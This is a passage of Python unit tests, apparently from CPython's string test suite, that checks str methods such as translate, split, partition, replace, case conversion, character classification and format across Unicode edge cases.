self.assertRaises(ValueError, ('a' * 100).rindex, '\U00100304a') self.assertRaises(ValueError, ('\u0102' * 100).rindex, '\U00100304\u0102') def test_maketrans_translate(self): # these work with plain translate() self.checkequalnofix('bbbc', 'abababc', 'translate', {ord('a'): None}) self.checkequalnofix('iiic', 'abababc', 'translate', {ord('a'): None, ord('b'): ord('i')}) self.checkequalnofix('iiix', 'abababc', 'translate', {ord('a'): None, ord('b'): ord('i'), ord('c'): 'x'}) self.checkequalnofix('c', 'abababc', 'translate', {ord('a'): None, ord('b'): ''}) self.checkequalnofix('xyyx', 'xzx', 'translate', {ord('z'): 'yy'}) # this needs maketrans() self.checkequalnofix('abababc', 'abababc', 'translate', {'b': '<i>'}) tbl = self.type2test.maketrans({'a': None, 'b': '<i>'}) self.checkequalnofix('<i><i><i>c', 'abababc', 'translate', tbl) # test alternative way of calling maketrans() tbl = self.type2test.maketrans('abc', 'xyz', 'd') self.checkequalnofix('xyzzy', 'abdcdcbdddd', 'translate', tbl) # various tests switching from ASCII to latin1 or the opposite; # same length, remove a letter, or replace with a longer string. self.assertEqual("[a]".translate(str.maketrans('a', 'X')), "[X]") self.assertEqual("[a]".translate(str.maketrans({'a': 'X'})), "[X]") self.assertEqual("[a]".translate(str.maketrans({'a': None})), "[]") self.assertEqual("[a]".translate(str.maketrans({'a': 'XXX'})), "[XXX]") self.assertEqual("[a]".translate(str.maketrans({'a': '\xe9'})), "[\xe9]") self.assertEqual('axb'.translate(str.maketrans({'a': None, 'b': '123'})), "x123") self.assertEqual('axb'.translate(str.maketrans({'a': None, 'b': '\xe9'})), "x\xe9") # test non-ASCII (don't take the fast-path) self.assertEqual("[a]".translate(str.maketrans({'a': '<\xe9>'})), "[<\xe9>]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': 'a'})), "[a]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': None})), "[]") self.assertEqual("[\xe9]".translate(str.maketrans({'\xe9': '123'})), "[123]") self.assertEqual("[a\xe9]".translate(str.maketrans({'a': '<\u20ac>'})), "[<\u20ac>\xe9]") # invalid Unicode characters invalid_char = 0x10ffff+1 for before in "a\xe9\u20ac\U0010ffff": mapping = str.maketrans({before: invalid_char}) text = "[%s]" % before self.assertRaises(ValueError, text.translate, mapping) # errors self.assertRaises(TypeError, self.type2test.maketrans) self.assertRaises(ValueError, self.type2test.maketrans, 'abc', 'defg') self.assertRaises(TypeError, self.type2test.maketrans, 2, 'def') self.assertRaises(TypeError, self.type2test.maketrans, 'abc', 2) self.assertRaises(TypeError, self.type2test.maketrans, 'abc', 'def', 2) self.assertRaises(ValueError, self.type2test.maketrans, {'xy': 2}) self.assertRaises(TypeError, self.type2test.maketrans, {(1,): 2}) self.assertRaises(TypeError, 'hello'.translate) self.assertRaises(TypeError, 'abababc'.translate, 'abc', 'xyz') def test_split(self): string_tests.CommonTest.test_split(self) # test mixed kinds for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal([left + right], left + right, 'split', delim) self.checkequal([left, right], left + delim + right, 'split', delim) self.checkequal([left + right], left + right, 'split', delim * 2) self.checkequal([left, right], left + delim * 2 + right, 'split', delim *2) def test_rsplit(self): string_tests.CommonTest.test_rsplit(self) # test mixed kinds for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal([left + right], left + right, 'rsplit', delim) self.checkequal([left, right], left + delim + right, 'rsplit', delim) self.checkequal([left + right], left + right, 'rsplit', delim * 2) self.checkequal([left, right], left + delim * 2 + right, 'rsplit', delim *2) def test_partition(self): string_tests.MixinStrUnicodeUserStringTest.test_partition(self) # test mixed kinds self.checkequal(('ABCDEFGH', '', ''), 'ABCDEFGH', 'partition', '\u4200') for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal((left + right, '', ''), left + right, 'partition', delim) self.checkequal((left, delim, right), left + delim + right, 'partition', delim) self.checkequal((left + right, '', ''), left + right, 'partition', delim * 2) self.checkequal((left, delim * 2, right), left + delim * 2 + right, 'partition', delim * 2) def test_rpartition(self): string_tests.MixinStrUnicodeUserStringTest.test_rpartition(self) # test mixed kinds self.checkequal(('', '', 'ABCDEFGH'), 'ABCDEFGH', 'rpartition', '\u4200') for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): self.checkequal(('', '', left + right), left + right, 'rpartition', delim) self.checkequal((left, delim, right), left + delim + right, 'rpartition', delim) self.checkequal(('', '', left + right), left + right, 'rpartition', delim * 2) self.checkequal((left, delim * 2, right), left + delim * 2 + right, 'rpartition', delim * 2) def test_join(self): string_tests.MixinStrUnicodeUserStringTest.test_join(self) class MyWrapper: def __init__(self, sval): self.sval = sval def __str__(self): return self.sval # mixed arguments self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('abcd', '', 'join', ('a', 'b', 'c', 'd')) self.checkequalnofix('w x y z', ' ', 'join', string_tests.Sequence('wxyz')) self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('a b c d', ' ', 'join', ['a', 'b', 'c', 'd']) self.checkequalnofix('abcd', '', 'join', ('a', 'b', 'c', 'd')) self.checkequalnofix('w x y z', ' ', 'join', string_tests.Sequence('wxyz')) self.checkraises(TypeError, ' ', 'join', ['1', '2', MyWrapper('foo')]) self.checkraises(TypeError, ' ', 'join', ['1', '2', '3', bytes()]) self.checkraises(TypeError, ' ', 'join', [1, 2, 3]) self.checkraises(TypeError, ' ', 'join', ['1', '2', 3]) @unittest.skipIf(sys.maxsize > 2**32, 'needs too much memory on a 64-bit platform') def test_join_overflow(self): size = int(sys.maxsize**0.5) + 1 seq = ('A' * size,) * size self.assertRaises(OverflowError, ''.join, seq) def test_replace(self): string_tests.CommonTest.test_replace(self) # method call forwarded from str implementation because of unicode argument self.checkequalnofix('one@two!three!', 'one!two!three!', 'replace', '!', '@', 1) self.assertRaises(TypeError, 'replace'.replace, "r", 42) # test mixed kinds for left, right in ('ba', '\u0101\u0100', '\U00010301\U00010300'): left *= 9 right *= 9 for delim in ('c', '\u0102', '\U00010302'): for repl in ('d', '\u0103', '\U00010303'): self.checkequal(left + right, left + right, 'replace', delim, repl) self.checkequal(left + repl + right, left + delim + right, 'replace', delim, repl) self.checkequal(left + right, left + right, 'replace', delim * 2, repl) self.checkequal(left + repl + right, left + delim * 2 + right, 'replace', delim * 2, repl) @support.cpython_only def test_replace_id(self): pattern = 'abc' text = 'abc def' self.assertIs(text.replace(pattern, pattern), text) def test_bytes_comparison(self): with support.check_warnings(): warnings.simplefilter('ignore', BytesWarning) self.assertEqual('abc' == b'abc', False) self.assertEqual('abc' != b'abc', True) self.assertEqual('abc' == bytearray(b'abc'), False) self.assertEqual('abc' != bytearray(b'abc'), True) def test_comparison(self): # Comparisons: self.assertEqual('abc', 'abc') self.assertTrue('abcd' > 'abc') self.assertTrue('abc' < 'abcd') if 0: # Move these tests to a Unicode collation module test... # Testing UTF-16 code point order comparisons... # No surrogates, no fixup required. self.assertTrue('\u0061' < '\u20ac') # Non surrogate below surrogate value, no fixup required self.assertTrue('\u0061' < '\ud800\udc02') # Non surrogate above surrogate value, fixup required def test_lecmp(s, s2): self.assertTrue(s < s2) def test_fixup(s): s2 = '\ud800\udc01' test_lecmp(s, s2) s2 = '\ud900\udc01' test_lecmp(s, s2) s2 = '\uda00\udc01' test_lecmp(s, s2) s2 = '\udb00\udc01' test_lecmp(s, s2) s2 = '\ud800\udd01' test_lecmp(s, s2) s2 = '\ud900\udd01' test_lecmp(s, s2) s2 = '\uda00\udd01' test_lecmp(s, s2) s2 = '\udb00\udd01' test_lecmp(s, s2) s2 = '\ud800\ude01' test_lecmp(s, s2) s2 = '\ud900\ude01' test_lecmp(s, s2) s2 = '\uda00\ude01' test_lecmp(s, s2) s2 = '\udb00\ude01' test_lecmp(s, s2) s2 = '\ud800\udfff' test_lecmp(s, s2) s2 = '\ud900\udfff' test_lecmp(s, s2) s2 = '\uda00\udfff' test_lecmp(s, s2) s2 = '\udb00\udfff' test_lecmp(s, s2) test_fixup('\ue000') test_fixup('\uff61') # Surrogates on both sides, no fixup required self.assertTrue('\ud800\udc02' < '\ud84d\udc56') def test_islower(self): super().test_islower() self.checkequalnofix(False, '\u1FFc', 'islower') self.assertFalse('\u2167'.islower()) self.assertTrue('\u2177'.islower()) # non-BMP, uppercase self.assertFalse('\U00010401'.islower()) self.assertFalse('\U00010427'.islower()) # non-BMP, lowercase self.assertTrue('\U00010429'.islower()) self.assertTrue('\U0001044E'.islower()) # non-BMP, non-cased self.assertFalse('\U0001F40D'.islower()) self.assertFalse('\U0001F46F'.islower()) def test_isupper(self): super().test_isupper() if not sys.platform.startswith('java'): self.checkequalnofix(False, '\u1FFc', 'isupper') self.assertTrue('\u2167'.isupper()) self.assertFalse('\u2177'.isupper()) # non-BMP, uppercase self.assertTrue('\U00010401'.isupper()) self.assertTrue('\U00010427'.isupper()) # non-BMP, lowercase self.assertFalse('\U00010429'.isupper()) self.assertFalse('\U0001044E'.isupper()) # non-BMP, non-cased self.assertFalse('\U0001F40D'.isupper()) self.assertFalse('\U0001F46F'.isupper()) def test_istitle(self): super().test_istitle() self.checkequalnofix(True, '\u1FFc', 'istitle') self.checkequalnofix(True, 'Greek \u1FFcitlecases ...', 'istitle') # non-BMP, uppercase + lowercase self.assertTrue('\U00010401\U00010429'.istitle()) self.assertTrue('\U00010427\U0001044E'.istitle()) # apparently there are no titlecased (Lt) non-BMP chars in Unicode 6 for ch in ['\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.istitle(), '{!a} is not title'.format(ch)) def test_isspace(self): super().test_isspace() self.checkequalnofix(True, '\u2000', 'isspace') self.checkequalnofix(True, '\u200a', 'isspace') self.checkequalnofix(False, '\u2014', 'isspace') # apparently there are no non-BMP spaces chars in Unicode 6 for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.isspace(), '{!a} is not space.'.format(ch)) def test_isalnum(self): super().test_isalnum() for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isalnum(), '{!a} is alnum.'.format(ch)) def test_isalpha(self): super().test_isalpha() self.checkequalnofix(True, '\u1FFc', 'isalpha') # non-BMP, cased self.assertTrue('\U00010401'.isalpha()) self.assertTrue('\U00010427'.isalpha()) self.assertTrue('\U00010429'.isalpha()) self.assertTrue('\U0001044E'.isalpha()) # non-BMP, non-cased self.assertFalse('\U0001F40D'.isalpha()) self.assertFalse('\U0001F46F'.isalpha()) def test_isdecimal(self): self.checkequalnofix(False, '', 'isdecimal') self.checkequalnofix(False, 'a', 'isdecimal') self.checkequalnofix(True, '0', 'isdecimal') self.checkequalnofix(False, '\u2460', 'isdecimal') # CIRCLED DIGIT ONE self.checkequalnofix(False, '\xbc', 'isdecimal') # VULGAR FRACTION ONE QUARTER self.checkequalnofix(True, '\u0660', 'isdecimal') # ARABIC-INDIC DIGIT ZERO self.checkequalnofix(True, '0123456789', 'isdecimal') self.checkequalnofix(False, '0123456789a', 'isdecimal') self.checkraises(TypeError, 'abc', 'isdecimal', 42) for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F', '\U00011065', '\U0001F107']: self.assertFalse(ch.isdecimal(), '{!a} is not decimal.'.format(ch)) for ch in ['\U0001D7F6', '\U00011066', '\U000104A0']: self.assertTrue(ch.isdecimal(), '{!a} is decimal.'.format(ch)) def test_isdigit(self): super().test_isdigit() self.checkequalnofix(True, '\u2460', 'isdigit') self.checkequalnofix(False, '\xbc', 'isdigit') self.checkequalnofix(True, '\u0660', 'isdigit') for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F', '\U00011065']: self.assertFalse(ch.isdigit(), '{!a} is not a digit.'.format(ch)) for ch in ['\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isdigit(), '{!a} is a digit.'.format(ch)) def test_isnumeric(self): self.checkequalnofix(False, '', 'isnumeric') self.checkequalnofix(False, 'a', 'isnumeric') self.checkequalnofix(True, '0', 'isnumeric') self.checkequalnofix(True, '\u2460', 'isnumeric') self.checkequalnofix(True, '\xbc', 'isnumeric') self.checkequalnofix(True, '\u0660', 'isnumeric') self.checkequalnofix(True, '0123456789', 'isnumeric') self.checkequalnofix(False, '0123456789a', 'isnumeric') self.assertRaises(TypeError, "abc".isnumeric, 42) for ch in ['\U00010401', '\U00010427', '\U00010429', '\U0001044E', '\U0001F40D', '\U0001F46F']: self.assertFalse(ch.isnumeric(), '{!a} is not numeric.'.format(ch)) for ch in ['\U00011065', '\U0001D7F6', '\U00011066', '\U000104A0', '\U0001F107']: self.assertTrue(ch.isnumeric(), '{!a} is numeric.'.format(ch)) def test_isidentifier(self): self.assertTrue("a".isidentifier()) self.assertTrue("Z".isidentifier()) self.assertTrue("_".isidentifier()) self.assertTrue("b0".isidentifier()) self.assertTrue("bc".isidentifier()) self.assertTrue("b_".isidentifier()) self.assertTrue("µ".isidentifier()) self.assertTrue("𝔘𝔫𝔦𝔠𝔬𝔡𝔢".isidentifier()) self.assertFalse(" ".isidentifier()) self.assertFalse("[".isidentifier()) self.assertFalse("©".isidentifier()) self.assertFalse("0".isidentifier()) def test_isprintable(self): self.assertTrue("".isprintable()) self.assertTrue(" ".isprintable()) self.assertTrue("abcdefg".isprintable()) self.assertFalse("abcdefg\n".isprintable()) # some defined Unicode character self.assertTrue("\u0374".isprintable()) # undefined character self.assertFalse("\u0378".isprintable()) # single surrogate character self.assertFalse("\ud800".isprintable()) self.assertTrue('\U0001F46F'.isprintable()) self.assertFalse('\U000E0020'.isprintable()) def test_surrogates(self): for s in ('a\uD800b\uDFFF', 'a\uDFFFb\uD800', 'a\uD800b\uDFFFa', 'a\uDFFFb\uD800a'): self.assertTrue(s.islower()) self.assertFalse(s.isupper()) self.assertFalse(s.istitle()) for s in ('A\uD800B\uDFFF', 'A\uDFFFB\uD800', 'A\uD800B\uDFFFA', 'A\uDFFFB\uD800A'): self.assertFalse(s.islower()) self.assertTrue(s.isupper()) self.assertTrue(s.istitle()) for meth_name in ('islower', 'isupper', 'istitle'): meth = getattr(str, meth_name) for s in ('\uD800', '\uDFFF', '\uD800\uD800', '\uDFFF\uDFFF'): self.assertFalse(meth(s), '%a.%s() is False' % (s, meth_name)) for meth_name in ('isalpha', 'isalnum', 'isdigit', 'isspace', 'isdecimal', 'isnumeric', 'isidentifier', 'isprintable'): meth = getattr(str, meth_name) for s in ('\uD800', '\uDFFF', '\uD800\uD800', '\uDFFF\uDFFF', 'a\uD800b\uDFFF', 'a\uDFFFb\uD800', 'a\uD800b\uDFFFa', 'a\uDFFFb\uD800a'): self.assertFalse(meth(s), '%a.%s() is False' % (s, meth_name)) def test_lower(self): string_tests.CommonTest.test_lower(self) self.assertEqual('\U00010427'.lower(), '\U0001044F') self.assertEqual('\U00010427\U00010427'.lower(), '\U0001044F\U0001044F') self.assertEqual('\U00010427\U0001044F'.lower(), '\U0001044F\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.lower(), 'x\U0001044Fx\U0001044F') self.assertEqual('ﬁ'.lower(), 'ﬁ') self.assertEqual('\u0130'.lower(), '\u0069\u0307') # Special case for GREEK CAPITAL LETTER SIGMA U+03A3 self.assertEqual('\u03a3'.lower(), '\u03c3') self.assertEqual('\u0345\u03a3'.lower(), '\u0345\u03c3') self.assertEqual('A\u0345\u03a3'.lower(), 'a\u0345\u03c2') self.assertEqual('A\u0345\u03a3a'.lower(), 'a\u0345\u03c3a') self.assertEqual('A\u0345\u03a3'.lower(), 'a\u0345\u03c2') self.assertEqual('A\u03a3\u0345'.lower(), 'a\u03c2\u0345') self.assertEqual('\u03a3\u0345 '.lower(), '\u03c3\u0345 ') self.assertEqual('\U0008fffe'.lower(), '\U0008fffe') self.assertEqual('\u2177'.lower(), '\u2177') def test_casefold(self): self.assertEqual('hello'.casefold(), 'hello') self.assertEqual('hELlo'.casefold(), 'hello') self.assertEqual('ß'.casefold(), 'ss') self.assertEqual('ﬁ'.casefold(), 'fi') self.assertEqual('\u03a3'.casefold(), '\u03c3') self.assertEqual('A\u0345\u03a3'.casefold(), 'a\u03b9\u03c3') self.assertEqual('\u00b5'.casefold(), '\u03bc') def test_upper(self): string_tests.CommonTest.test_upper(self) self.assertEqual('\U0001044F'.upper(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.upper(), '\U00010427\U00010427') self.assertEqual('\U00010427\U0001044F'.upper(), '\U00010427\U00010427') self.assertEqual('X\U00010427x\U0001044F'.upper(), 'X\U00010427X\U00010427') self.assertEqual('ﬁ'.upper(), 'FI') self.assertEqual('\u0130'.upper(), '\u0130') self.assertEqual('\u03a3'.upper(), '\u03a3') self.assertEqual('ß'.upper(), 'SS') self.assertEqual('\u1fd2'.upper(), '\u0399\u0308\u0300') self.assertEqual('\U0008fffe'.upper(), '\U0008fffe') self.assertEqual('\u2177'.upper(), '\u2167') def test_capitalize(self): string_tests.CommonTest.test_capitalize(self) self.assertEqual('\U0001044F'.capitalize(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.capitalize(), '\U00010427\U0001044F') self.assertEqual('\U00010427\U0001044F'.capitalize(), '\U00010427\U0001044F') self.assertEqual('\U0001044F\U00010427'.capitalize(), '\U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.capitalize(), 'X\U0001044Fx\U0001044F') self.assertEqual('h\u0130'.capitalize(), 'H\u0069\u0307') exp = '\u0399\u0308\u0300\u0069\u0307' self.assertEqual('\u1fd2\u0130'.capitalize(), exp) self.assertEqual('ﬁnnish'.capitalize(), 'FInnish') self.assertEqual('A\u0345\u03a3'.capitalize(), 'A\u0345\u03c2') def test_title(self): super().test_title() self.assertEqual('\U0001044F'.title(), '\U00010427') self.assertEqual('\U0001044F\U0001044F'.title(), '\U00010427\U0001044F') self.assertEqual('\U0001044F\U0001044F \U0001044F\U0001044F'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('\U00010427\U0001044F \U00010427\U0001044F'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('\U0001044F\U00010427 \U0001044F\U00010427'.title(), '\U00010427\U0001044F \U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F X\U00010427x\U0001044F'.title(), 'X\U0001044Fx\U0001044F X\U0001044Fx\U0001044F') self.assertEqual('ﬁNNISH'.title(), 'Finnish') self.assertEqual('A\u03a3 \u1fa1xy'.title(), 'A\u03c2 \u1fa9xy') self.assertEqual('A\u03a3A'.title(), 'A\u03c3a') def test_swapcase(self): string_tests.CommonTest.test_swapcase(self) self.assertEqual('\U0001044F'.swapcase(), '\U00010427') self.assertEqual('\U00010427'.swapcase(), '\U0001044F') self.assertEqual('\U0001044F\U0001044F'.swapcase(), '\U00010427\U00010427') self.assertEqual('\U00010427\U0001044F'.swapcase(), '\U0001044F\U00010427') self.assertEqual('\U0001044F\U00010427'.swapcase(), '\U00010427\U0001044F') self.assertEqual('X\U00010427x\U0001044F'.swapcase(), 'x\U0001044FX\U00010427') self.assertEqual('ﬁ'.swapcase(), 'FI') self.assertEqual('\u0130'.swapcase(), '\u0069\u0307') # Special case for GREEK CAPITAL LETTER SIGMA U+03A3 self.assertEqual('\u03a3'.swapcase(), '\u03c3') self.assertEqual('\u0345\u03a3'.swapcase(), '\u0399\u03c3') self.assertEqual('A\u0345\u03a3'.swapcase(), 'a\u0399\u03c2') self.assertEqual('A\u0345\u03a3a'.swapcase(), 'a\u0399\u03c3A') self.assertEqual('A\u0345\u03a3'.swapcase(), 'a\u0399\u03c2') self.assertEqual('A\u03a3\u0345'.swapcase(), 'a\u03c2\u0399') self.assertEqual('\u03a3\u0345 '.swapcase(), '\u03c3\u0399 ') self.assertEqual('\u03a3'.swapcase(), '\u03c3') self.assertEqual('ß'.swapcase(), 'SS') self.assertEqual('\u1fd2'.swapcase(), '\u0399\u0308\u0300') def test_center(self): string_tests.CommonTest.test_center(self) self.assertEqual('x'.center(2, '\U0010FFFF'), 'x\U0010FFFF') self.assertEqual('x'.center(3, '\U0010FFFF'), '\U0010FFFFx\U0010FFFF') self.assertEqual('x'.center(4, '\U0010FFFF'), '\U0010FFFFx\U0010FFFF\U0010FFFF') @unittest.skipUnless(sys.maxsize == 2**31 - 1, "requires 32-bit system") @support.cpython_only def test_case_operation_overflow(self): # Issue #22643 size = 2**32//12 + 1 try: s = "ü" * size except MemoryError: self.skipTest('no enough memory (%.0f MiB required)' % (size / 2**20)) try: self.assertRaises(OverflowError, s.upper) finally: del s def test_contains(self): # Testing Unicode contains method self.assertIn('a', 'abdb') self.assertIn('a', 'bdab') self.assertIn('a', 'bdaba') self.assertIn('a', 'bdba') self.assertNotIn('a', 'bdb') self.assertIn('a', 'bdba') self.assertIn('a', ('a',1,None)) self.assertIn('a', (1,None,'a')) self.assertIn('a', ('a',1,None)) self.assertIn('a', (1,None,'a')) self.assertNotIn('a', ('x',1,'y')) self.assertNotIn('a', ('x',1,None)) self.assertNotIn('abcd', 'abcxxxx') self.assertIn('ab', 'abcd') self.assertIn('ab', 'abc') self.assertIn('ab', (1,None,'ab')) self.assertIn('', 'abc') self.assertIn('', '') self.assertIn('', 'abc') self.assertNotIn('\0', 'abc') self.assertIn('\0', '\0abc') self.assertIn('\0', 'abc\0') self.assertIn('a', '\0abc') self.assertIn('asdf', 'asdf') self.assertNotIn('asdf', 'asd') self.assertNotIn('asdf', '') self.assertRaises(TypeError, "abc".__contains__) # test mixed kinds for fill in ('a', '\u0100', '\U00010300'): fill *= 9 for delim in ('c', '\u0102', '\U00010302'): self.assertNotIn(delim, fill) self.assertIn(delim, fill + delim) self.assertNotIn(delim * 2, fill) self.assertIn(delim * 2, fill + delim * 2) def test_issue18183(self): '\U00010000\U00100000'.lower() '\U00010000\U00100000'.casefold() '\U00010000\U00100000'.upper() '\U00010000\U00100000'.capitalize() '\U00010000\U00100000'.title() '\U00010000\U00100000'.swapcase() '\U00100000'.center(3, '\U00010000') '\U00100000'.ljust(3, '\U00010000') '\U00100000'.rjust(3, '\U00010000') def test_format(self): self.assertEqual(''.format(), '') self.assertEqual('a'.format(), 'a') self.assertEqual('ab'.format(), 'ab') self.assertEqual('a{{'.format(), 'a{') self.assertEqual('a}}'.format(), 'a}') self.assertEqual('{{b'.format(), '{b') self.assertEqual('}}b'.format(), '}b') self.assertEqual('a{{b'.format(), 'a{b') # examples from the PEP: import datetime self.assertEqual("My name is {0}".format('Fred'), "My name is Fred") self.assertEqual("My name is {0[name]}".format(dict(name='Fred')), "My name is Fred") self.assertEqual("My name is {0} :-{{}}".format('Fred'), "My name is Fred :-{}") d = datetime.date(2007, 8, 18) self.assertEqual("The year is {0.year}".format(d), "The year is 2007") # classes we'll use for testing class C: def __init__(self, x=100): self._x = x def __format__(self, spec): return spec class D: def __init__(self, x): self.x = x def __format__(self, spec): return str(self.x) # class with __str__, but no __format__ class E: def __init__(self, x): self.x = x def __str__(self): return 'E(' + self.x + ')' # class with __repr__, but no __format__ or __str__ class F: def __init__(self, x): self.x = x def __repr__(self): return 'F(' + self.x + ')' # class with __format__ that forwards to string, for some format_spec's class G: def __init__(self, x): self.x = x def __str__(self): return "string is " + self.x def __format__(self, format_spec): if format_spec == 'd': return 'G(' + self.x + ')' return object.__format__(self, format_spec) class I(datetime.date): def __format__(self, format_spec): return self.strftime(format_spec) class J(int): def __format__(self, format_spec): return int.__format__(self * 2, format_spec) class M: def __init__(self, x): self.x = x def __repr__(self): return 'M(' + self.x + ')' __str__ = None class N: def __init__(self, x): self.x = x def __repr__(self): return 'N(' + self.x + ')' __format__ = None self.assertEqual(''.format(), '') self.assertEqual('abc'.format(), 'abc') self.assertEqual('{0}'.format('abc'), 'abc') self.assertEqual('{0:}'.format('abc'), 'abc') # self.assertEqual('{ 0 }'.format('abc'), 'abc') self.assertEqual('X{0}'.format('abc'), 'Xabc') self.assertEqual('{0}X'.format('abc'), 'abcX') self.assertEqual('X{0}Y'.format('abc'), 'XabcY') self.assertEqual('{1}'.format(1, 'abc'), 'abc') self.assertEqual('X{1}'.format(1, 'abc'), 'Xabc') self.assertEqual('{1}X'.format(1, 'abc'), 'abcX') self.assertEqual('X{1}Y'.format(1, 'abc'), 'XabcY') self.assertEqual('{0}'.format(-15), '-15') self.assertEqual('{0}{1}'.format(-15, 'abc'), '-15abc') self.assertEqual('{0}X{1}'.format(-15, 'abc'), '-15Xabc') self.assertEqual('{{'.format(), '{') self.assertEqual('}}'.format(), '}') self.assertEqual('{{}}'.format(), '{}') self.assertEqual('{{x}}'.format(), '{x}') self.assertEqual('{{{0}}}'.format(123), '{123}') self.assertEqual('{{{{0}}}}'.format(), '{{0}}') self.assertEqual('}}{{'.format(), '}{') self.assertEqual('}}x{{'.format(), '}x{') # weird field names self.assertEqual("{0[foo-bar]}".format({'foo-bar':'baz'}), 'baz') self.assertEqual("{0[foo bar]}".format({'foo bar':'baz'}), 'baz') self.assertEqual("{0[ ]}".format({' ':3}), '3') self.assertEqual('{foo._x}'.format(foo=C(20)), '20') self.assertEqual('{1}{0}'.format(D(10), D(20)), '2010') self.assertEqual('{0._x.x}'.format(C(D('abc'))), 'abc') self.assertEqual('{0[0]}'.format(['abc', 'def']), 'abc') self.assertEqual('{0[1]}'.format(['abc', 'def']), 'def') self.assertEqual('{0[1][0]}'.format(['abc', ['def']]), 'def') self.assertEqual('{0[1][0].x}'.format(['abc', [D('def')]]), 'def') # strings self.assertEqual('{0:.3s}'.format('abc'), 'abc') self.assertEqual('{0:.3s}'.format('ab'), 'ab') self.assertEqual('{0:.3s}'.format('abcdef'), 'abc') self.assertEqual('{0:.0s}'.format('abcdef'), '') self.assertEqual('{0:3.3s}'.format('abc'), 'abc') self.assertEqual('{0:2.3s}'.format('abc'), 'abc') self.assertEqual('{0:2.2s}'.format('abc'), 'ab') self.assertEqual('{0:3.2s}'.format('abc'), 'ab ') self.assertEqual('{0:x<0s}'.format('result'), 'result') self.assertEqual('{0:x<5s}'.format('result'), 'result') self.assertEqual('{0:x<6s}'.format('result'), 'result') self.assertEqual('{0:x<7s}'.format('result'), 'resultx') self.assertEqual('{0:x<8s}'.format('result'), 'resultxx') self.assertEqual('{0: <7s}'.format('result'), 'result ') self.assertEqual('{0:<7s}'.format('result'), 'result ') self.assertEqual('{0:>7s}'.format('result'), ' result') self.assertEqual('{0:>8s}'.format('result'), ' result') self.assertEqual('{0:^8s}'.format('result'), ' result ') self.assertEqual('{0:^9s}'.format('result'), ' result ') self.assertEqual('{0:^10s}'.format('result'), ' result ') self.assertEqual('{0:10000}'.format('a'), 'a' + ' ' * 9999) self.assertEqual('{0:10000}'.format(''), ' ' * 10000) self.assertEqual('{0:10000000}'.format(''), ' ' * 10000000) # issue 12546: use \x00 as a fill character self.assertEqual('{0:\x00<6s}'.format('foo'), 'foo\x00\x00\x00') self.assertEqual('{0:\x01<6s}'.format('foo'), 'foo\x01\x01\x01') self.assertEqual('{0:\x00^6s}'.format('foo'), '\x00foo\x00\x00') self.assertEqual('{0:^6s}'.format('foo'), ' foo ') self.assertEqual('{0:\x00<6}'.format(3), '3\x00\x00\x00\x00\x00') self.assertEqual('{0:\x01<6}'.format(3), '3\x01\x01\x01\x01\x01') self.assertEqual('{0:\x00^6}'.format(3), '\x00\x003\x00\x00\x00') self.assertEqual('{0:<6}'.format(3), '3 ') self.assertEqual('{0:\x00<6}'.format(3.14), '3.14\x00\x00') self.assertEqual('{0:\x01<6}'.format(3.14), '3.14\x01\x01') self.assertEqual('{0:\x00^6}'.format(3.14), '\x003.14\x00') self.assertEqual('{0:^6}'.format(3.14), ' 3.14 ') self.assertEqual('{0:\x00<12}'.format(3+2.0j), '(3+2j)\x00\x00\x00\x00\x00\x00') self.assertEqual('{0:\x01<12}'.format(3+2.0j), '(3+2j)\x01\x01\x01\x01\x01\x01') self.assertEqual('{0:\x00^12}'.format(3+2.0j), '\x00\x00\x00(3+2j)\x00\x00\x00') self.assertEqual('{0:^12}'.format(3+2.0j), ' (3+2j) ') # format specifiers for user defined type self.assertEqual('{0:abc}'.format(C()), 'abc') # !r, !s and !a coercions self.assertEqual('{0!s}'.format('Hello'), 'Hello') self.assertEqual('{0!s:}'.format('Hello'), 'Hello') self.assertEqual('{0!s:15}'.format('Hello'), 'Hello ') self.assertEqual('{0!s:15s}'.format('Hello'), 'Hello ') self.assertEqual('{0!r}'.format('Hello'), "'Hello'") self.assertEqual('{0!r:}'.format('Hello'), "'Hello'") self.assertEqual('{0!r}'.format(F('Hello')), 'F(Hello)') self.assertEqual('{0!r}'.format('\u0378'), "'\\u0378'") # nonprintable self.assertEqual('{0!r}'.format('\u0374'), "'\u0374'") # printable self.assertEqual('{0!r}'.format(F('\u0374')), 'F(\u0374)') self.assertEqual('{0!a}'.format('Hello'), "'Hello'") self.assertEqual('{0!a}'.format('\u0378'), "'\\u0378'") # nonprintable self.assertEqual('{0!a}'.format('\u0374'), "'\\u0374'") # printable self.assertEqual('{0!a:}'.format('Hello'), "'Hello'") self.assertEqual('{0!a}'.format(F('Hello')), 'F(Hello)') self.assertEqual('{0!a}'.format(F('\u0374')), 'F(\\u0374)') # test fallback to object.__format__ self.assertEqual('{0}'.format({}), '{}') 